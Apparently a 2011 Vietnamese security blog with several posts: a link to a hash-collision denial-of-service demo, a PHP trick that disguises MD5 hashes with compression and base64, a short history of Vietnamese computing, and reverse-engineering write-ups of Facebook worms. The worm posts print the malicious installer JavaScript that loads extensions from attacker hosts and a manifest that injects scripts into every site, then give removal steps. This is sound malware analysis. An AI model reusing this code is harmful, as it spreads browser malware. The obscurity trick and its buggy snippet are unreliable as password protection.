Friday, December 30, 2011

Hash collisions in POST Denial-of-service exploit demo

Mới đọc được cái này trên thehackernews.com

Đây là một lỗi mới liên quan tới tình trạng hash collisions trong xử lý hash tables của một số trình dịch ngôn ngữ web hiện nay (PHP,JSP,ASP...) khiến máy chủ bị hao tổn quá nhiều tài nguyên trong việc xử lý các collisions


In computer science, a hash table or hash map is a data structure that uses a hash function to map identifying values, known as keys (e.g., a person's name), to their associated values (e.g., their telephone number). Thus, a hash table implements an associative array. The hash function is used to transform the key into the index (the hash) of an array element (the slot orbucket) where the corresponding value is to be sought.
Ideally, the hash function should map each possible key to a unique slot index, but this ideal is rarely achievable in practice (unless the hash keys are fixed; i.e. new entries are never added to the table after it is created). Instead, most hash table designs assume that hash collisions—different keys that map to the same hash value—will occur and must be accommodated in some way.
-----------------------------

Cái đặc biệt ở đây là có một công cụ demo exploit lỗi này được viết chỉ bằng HTML và Javascript nhưng demo rất hữu hiệu việc làm treo đứng cái server Apache chạy kèm với trình dịch PHP của tôi như hình minh họa dưới đây


CPU load tăng vọt ngay tức thì lên 50% sau cú POST đầu tiên, tới cú POST thứ 2 thì CPU vọt lên đến 100% và cái server chạy Core2 duo của tôi treo cứng ngắc

Cái demo exploit này có tại đây: http://koto.github.com/blog-kotowicz-net-examples/hashcollision/kill.html
Bạn có thể view source để thấy nó thực hiện việc exploit như thế nào

Một cách che dấu chuỗi hash MD5 của mật khẩu trong PHP

Hôm nay tôi được biết một số lập trình viên ( nước ngoài ) dùng cách sau để bảo vệ một mã hash MD5 của họ

<?php
$password = "Hehe I'm xnohat";
$hashmd5 = md5($password);
$compressedhash   = gzdeflate($hashmd5, 9);
$base64encodedhash = base64_encode($compressedhash); // S05OMTY1NkxNszQ1SzFMSTMwSzZONDA2MTFPSU1NNjdWAAA=
//-------------------Kết thúc phần tạo mã hash giả dạng Base64 Encoded------------------
$uncompressedhash = gzinflate(base64_decode($compressed));
echo $uncompressedhash; // MD5 hash nguyên thủy ban đầu
?>

Cái hay ở đây là nó tạo ra tình trạng "obscurity" , khiến kẻ tấn công khi lấy được chuỗi hash của mật khẩu sẽ cứ cố tìm cách Base64_decode cái đoạn có vẻ trông như Base64 Encoded ( S05OMTY1NkxNszQ1SzFMSTMwSzZONDA2MTFPSU1NNjdWAAA= ) để chỉ nhận được "một file nhị phân" (binary) mà không sao tìm ra chuỗi md5 gốc. 

Điều này giúp đánh bại ý chí tìm md5 hash để rồi quăng vô một số md5 rainbow table cracker để tìm mật khẩu gốc của các script kiddes ( nhất là khi ở VN tình trạng tấn công SQLi , Local attack đầy nhan nhản )

Bạn thử decode cái đoạn Base64 Encoded trên bằng công cụ online này http://www.opinionatedgeek.com/dotnet/tools/base64decode/ xem sao :D

RFC1951 (http://www.faqs.org/rfcs/rfc1951.html) viết rất rõ về DEFLATE compression algorithm này

Wednesday, December 28, 2011

Một thoáng lịch sử của ngành CNTT Việt Nam



Dạo qua một chút lịch sử về ngành CNTT ở VN, ngày đó chúng ta có tất cả các cơ hội trời cho, cơ hội để trở thành một cường quốc về CNTT (chí ít là về mặt phần mềm), vậy mà đến giờ Viện CNTT rơi vào quên lãng, nền CNTT vẫn chỉ loay hoay với mấy công ty dot.com nhỏ xíu . Tiền nhân có buồn chăng ?

Đón nhận chiếc Minsk-22 đầu tiên ( Computer của Soviet Union sản xuất )
http://ictnews.vn/home/Kinh-doanh/8/Don-nhan-chiec-Minsk22/13215/index.ict
Lần đầu tổng điều tra dân số trên máy tính điện tử
http://ictnews.vn/home/Ho-so/31/Lan-dau-tong-dieu-tra-dan-so-tren-PC/13751/index.ict
Đội quân máy tính tiếp quản Sài Gòn
Phần 1:
http://ictnews.vn/home/Ho-so/31/Doi-quan-may-tinh-tiep-quan-Sai-Gon/13557/index.ict
Phần 2:
Những tên trộm tại đồi thông
Phần 1:
http://ictnews.vn/home/Ho-so/31/Nhung-ten-trom-tai-Doi-Thong/13789/index.ict
Phần 2:
http://www.ictnews.vn/home/Ho-so/31/Nhung-ten-trom-tai-Doi-Thong-II/13840/index.ict
TRƯỞNG THÀNH TỪ PHÒNG MÁY TÍNH (Nguyễn Văn Kỷ)
http://www.ioit.ac.vn/pages/index.asp?progid=10&NewsID=75

Tôi cũng ghi chút chút về cái máy Minsk-22 mà các nhà khoa học đầu tiên trong ngành CNTT của chúng ta tiếp xúc. Nó là loại máy tính lớn ( chỉ có thể gọi là Computer ) hay còn gọi là các Mainframe . Hệ máy này do Soviet Union thiết kế dựa trên một bản vẽ logic khá sơ sài của hệ máy PDP của hãng DEC Hoa Kỳ được các sĩ quan KGB đánh cắp về ( kĩ nghệ về CNTT của Hoa Kỳ vẫn đi xa hàng thập kỉ so với Soviet Union vào thời đó ). Máy có kích thước chiếm hết 1 gian phòng 100m2 , không dùng mạch tích hợp ( vì công nghệ mạch tích hợp - IC thời đó còn rất sơ khai ) , dùng bóng bán dẫn chớ không phải Transistor như các máy tính ngày nay vì tới năm 1957 mới có các thiết bị đơn giản ứng dụng Transistor thay cho các bóng bán dẫn cỡ lớn ( mà tiên phong là hãng điện tử lừng danh Sony ). Máy không có hệ điều hành, chạy đơn nhiệm ( quá tệ ! ), dùng ngôn ngữ lập trình là ... ngôn ngữ máy ( hoặc khá hơn là hợp ngữ ), cùng một vài ngôn ngữ cổ đại thời đó như FORTRAN, COLBOL ...


Cùng khoảng thời gian đó, miền nam Việt Nam, người Mỹ đã đưa vào VN từ những năm 1970 các máy mainframe của IBM sản xuất với các tính năng vượt trội khủng khiếp nhằm các mục đích tính toán lớn trong cuộc chiến tranh VN. Sau năm 1975 toàn bộ các máy mainframe này đều lọt vào tay chúng ta hiện nay, bao gồm cả máy mainframe khá tốt vào thời đó là IBM360/50 ( chệp nghe quen quen với cái tên PC IBM386 đúng không ).


Thế nhưng giờ chúng ta ra sao ?! ...

Friday, December 23, 2011

Cách gỡ bỏ ( diệt ) con FB Worm "Facebook Christmas Theme" mới (kèm thông tin RE)

Đây là biến thể mới nhất của con Facebook Worm ( hay nhiều người gọi là Facebook Virus ), cách gỡ ( diệt ) con worm này ra nằm ở cuối bài viết này, nếu bạn không phải người yêu thích kĩ thuật, chỉ muốn biết cách gỡ ( diệt ) con worm ra thì vui lòng bỏ qua đoạn phân tích dài ngoằng bên dưới mà đi thẳng đến phần cuối bài.


Link lây lan dạng:
http://j.mp/XmasTheme?hereenow 


Truy cập vào sẽ chuyển đến
-> http://biglol.in/


;--------------------- Ham kich hoat cai dat Plugin----------------------
<a onclick="instalar();" class="install nomargin"></a>
;--------------------------Noi dung ham cai dat plugin----------------------
function instalar(){
                if (is_chrome){
                    click_img();
                    window.open("http://biglol.in/fb.crx");
                } else if(is_firefox){
                    click_img();
                    var params = {
                        "Youtube Extension": {
                            URL: "http://biglol.in/firefox.xpi",
                            toString: function () { return this.URL; }
                        }
                    };
                    InstallTrigger.install(params);
                } else{
                    window.open("http://www.google.com/chrome/eula.html");
                }
            }
            if(!is_chrome && !is_firefox ){
                var id, servidor;
                id=getQuerystring("id",null);
                servidor="videozer";
                if(id!=null){
                    window.location="http://thelegendary6.com/video.php";

                }else{
                    window.location="http://thelegendary6.com/video.php";
}             
            }


;------------------------ Source bo phan lay lan---------------------
http://biglol.in/script/g.js -> http://biglol.in/script/w.js


;--------------------------- 2 Plugin virus moi------------------
Tên chung trong phần add-on sẽ là "Facebook Christmas Theme"


Chrome:
http://biglol.in/fb.crx
Firefox:
http://biglol.in/firefox.xpi

;--------------------------- Cách gỡ bỏ Virus FB biến thể Chrismas themes -----------------------
Cũng như phiên bản virus trước nhưng lần này 2 plugin cần gỡ bỏ đều có tên là "Facebook Christmas Theme"


Chrome: mở tab mới, vào phần Apps, kiếm cái plugin  "Facebook Christmas Theme" , nhấp phải chọn remove from Chrome . Xong


Chú ý: virus trong Chrome có icon trông như sau


Logo FB Worm trong Chrome

Firefox: vào Menu Tool -> add-on -> extensions -> chọn cái plugin 
"Facebook Christmas Theme"  rồi chọn Remove . Xong


Chú ý: virus trong Firefox có icon trông như sau

Logo FB Worm trong Firefox
-----------------------------
Kỷ lục mới, RE trong 10p, nhanh hơn lần trước, lần sau phấn đấu còn 5p :))

xnohat - HVAonline.net

Sunday, December 18, 2011

RE con Worm Facebook đang hoành hành hiện nay

Mình bị con Worm này làm phiền quá, bạn bè bị dính cứ vô spam đầy cái wall của mình. Thôi thì làm một cú RE nhanh con Worm này và chỉ bà con cách gỡ bỏ con worm này khỏi trình duyệt

Con worm này xuất phát từ một trang fake FB ở địa chỉ http://fbviralvideos.blogspot.com/

Tại trang này chả có gì cả ngoài việc nó làm giả y chang một cái trang FB của một em hót girl nào đó bên trời tây, kèm một cái link "Cài đặt plugin" để coi em ấy show hàng. Khi click vào cái nút "Install Plugin" đó nó sẽ kích hoạt một hàm tên

<a onclick="instalar();" class="install nomargin"></a>
Cái hàm này sẽ thực hiện thăm dò xem trình duyệt nạn nhân đang dùng là Firefox hay Chrome để đưa ra cái link cài Plugin giả mạo

   <script>
                var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
                var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;
                function instalar(){
                    if (is_chrome){
                        window.open("http://yourvidsviral.com/youtube.crx");
                    } else if(is_firefox){
                        var params = {
                            "Youtube Extension": {
                                URL: "http://yourvidsviral.com/youtube.xpi",
                                toString: function () { return this.URL; }
                            }
                        };
                        InstallTrigger.install(params);
                    } else{
                         window.open("");
                    }
                }
            </script>   

Cái link cài plugin xạo xạo này chính là con worm. Cái hay ở đây là con worm này không làm bằng binary mà viết bằng javascript và được đóng gói thành plugin của Chrome ( dạng crx ) và plugin của Firefox ( dạng xpi ).

Sau khi cài plugin vào thì nó sẽ kích hoạt phần chính của con worm, đây là phần chịu trách nhiệm lây lan tiếp tới các người dùng FB khác. Script này được load về từ link http://yourvidsviral.com/script.js

Kèm theo đó, trong con worm này còn được tích hợp cơ chế cập nhật thông qua tính năng cập nhật plugin tự động của Firefox hay Chrome


{
   "content_scripts": [ {
      "all_frames": true,
     "matches": [ "http://*/*"],
 "js": [ "go.js" ]
} ],

   "description": "Plays Youtube Videos Online, Quickly \u0026 Efficiently",
   "icons": {
      "128": "icon128.png",
      "16": "icon16.png",
      "48": "icon48.png"
   },

   "name": "YouTube Extension",
   "permissions": [ "*://*/*" ],
   "update_url": "http://allinfree.net/chrome.xml",   "version": "1.0.3"
}

Đã RE xong, bạn có thể tải về toàn bộ gói dữ liệu của con worm đã được RE tại đây để nghiên cứu

http://www.mediafire.com/?6vxm6a77t4x66t1

-----------------------------


Cách gỡ bỏ con Worm

Chrome: mở tab mới, vào phần Apps, kiếm cái plugin Youtube, nhấp phải chọn remove from Chrome . Xong

Firefox: vào Menu Tool -> add-on -> extensions -> chọn cái plugin Youtube rồi chọn Remove . Xong

------------------------------

RE toàn bộ con worm trong 15 phút, phá kỷ lục trước giờ của mền :D